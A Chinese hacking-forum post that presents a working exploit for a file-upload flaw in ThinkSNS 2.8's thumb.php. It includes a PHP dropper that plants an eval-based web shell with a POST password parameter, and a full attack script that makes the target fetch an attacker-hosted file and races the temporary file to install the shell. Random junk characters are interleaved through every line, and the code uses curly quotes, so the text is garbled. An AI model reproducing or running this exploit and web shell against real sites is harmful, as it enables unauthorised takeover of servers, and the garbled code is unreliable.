找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2249|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本
7 @) E, V+ J0 T6 B$ p0 S存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)3 X5 h) S  |* n' u
漏洞文件  F3 P* `. j/ e3 B$ t/ [
存在漏洞的文件为:thumb.php3 n7 j. [# B& a/ j& n; D
作者:韦鲲鹏
* |" b6 h1 }9 g% @9 D8 ]1、        准备如下PHP文件并上传到服务器(自己的)。
9 @* q  a# g: J7 [文件内容如下:
5 g0 t& G, J- r: h+ P<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
5 {% C; Y0 N, ]2、        计算出临时的文件名:
! j( _+ ^# V% E! d) P" a* B# U/ S这里我们可以看文件的99行(刚刚是不是没注意呀!)。
' k* }8 _# P5 t' t7 i
& l! k# d7 G0 }& t. Y5 e( R3、        上传临时文件。
* ?7 V2 p, u! S/ I' E* n0 |  U4、        访问临时文件。- ]; v- n  w: M0 q! k
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)' }+ X$ k8 V7 s) j
Exploit文件内容如下:(这个我就不详细解释了)
3 H( q/ |! K% u, ~; R<?php
* `5 ^/ A8 k' A- cerror_reporting(0);; ]# O+ Q$ q; h- [- L% J
set_time_limit(0);1 |/ S! Q/ v' r! R6 K
ini_set(“default_socket_timeout”, 5);8 A! z' B- Q1 E
function http_send($host, $port, $headers) {" j4 C- b3 G' x9 `6 T
$fp = fsockopen($host, $port);+ o- e' |1 R1 u0 |9 Q5 @3 @
if (!$fp) die(‘Connection -> fail’);
  A! X- v5 J$ {1 rfputs($fp, $headers);/ b+ V7 r+ A7 d9 Z6 [& k; P
return $fp;
' _3 V: @) i4 f}5 o4 [8 g5 }9 K* g3 w
function http_recv($fp) {4 M: T8 g; z8 a. n) X) v8 T
$ret=”";
$ q6 C/ I9 w+ o+ `9 z" lwhile (!feof($fp))
4 K& Y3 p8 Q4 S# F1 `- e$ret.= fgets($fp, 1024);
' ~. I0 A3 k5 K: B$ x* f6 Q+ Sfclose($fp);# Q$ S$ b2 @( I- _$ h# P3 r1 o
return $ret;
2 C& @0 K" {/ h5 D# X6 V2 D5 ~( I$ Q}
& L# X, b/ J. N2 l! o  n% X. Vprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
$ X! O+ s  b: N5 m& u1 \- P8 u& n( J8 iprint “# Discovered by 韦鲲鹏 #\n\n”;
) F1 `. I* l& e( n6 _# r% Wif ($argc < 4) {
! a0 U& r' s; h+ _7 bprint “Usage:   php <host> <path> <romote_url>\n”;& V& r  E) [% @" x. z# O( T
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
- l! R" p2 k) h: wdie();
7 {$ ]1 T" @5 d" ]}# `0 |6 ^# s7 {, I+ A7 m
$host = $argv[1];
* k' M2 B# ^- t" r% ^1 y2 U, w5 A$path = $argv[2];
" k+ v4 ^/ X1 k7 `! O7 y$url = $argv[3];  j" `* T1 L0 G; N
$i=0;$ A! _7 Y" C$ l) h! P
//上传数据包
* ~9 d, V( E/ L2 p4 F8 l' R$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;+ I" x- P$ A/ z. z* o- [( l% Y
$headers_up .= “Host: “.$host.”\r\n”;
8 ^3 D% L& W& Q3 H5 x$headers_up .= “Connection: close\r\n\r\n”;
6 _1 _& `8 m+ @0 `1 hecho $headers_up;
! h3 P0 T  s- }' j//临时文件访问数据包
/ A4 B9 V( p" j/ k7 E# |9 N$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
+ C: o8 }+ d, F8 H( ], G3 s$headers .= “Host: “.$host.”\r\n”;
  g) p0 O4 N& K* U' P+ U$ Y$headers .= “Connection: close\r\n\r\n”;5 W1 V3 ?2 _- W8 y2 C/ U- s
echo $headers;$ N8 Q8 ^# w. b3 l
while(++$i<10) {  X5 J5 j; X9 Y; g* K! u
fclose(http_send($host, 80, $headers));
4 v9 @/ K; G1 ~8 Z% L}
" ]2 j: V# h8 sfclose(http_send($host, 80, $headers_up));
# _% v/ ]' X. f" }0 A6 n& Qwhile(++$i<50) {
9 {8 E) d0 Q: afclose(http_send($host, 80, $headers));
" r! }# y) X: Q4 `3 D( \1 G}
$ S% }7 o- a) a( |$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;- J1 K: P8 r; u8 Z! M- {* t5 M
$headers .= “Host: “.$host.”\r\n”;
7 I3 H1 _+ X# ]7 Z1 }$headers .= “Connection: close\r\n\r\n”;
- r" u2 V8 g  X  A4 H1 a3 B  t$res=http_recv(http_send($host, 80, $headers));
  p  a$ r2 Q, z! Z9 b1 n% m- D8 bif(preg_match(‘/200 OK/’,$res)) {
  g% {- x  Q$ \8 {+ Lprint “Success!\n\n”;
% s+ T7 r1 ?4 B/ v' }; t! y} else {
1 D. e+ M3 S' C2 k' O5 Uprint “Fail!\n\n”;2 i8 e8 f8 Z$ E
}/ a7 F0 A5 k+ R. w
?>
/ C5 T- O& H! H# p' K) v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表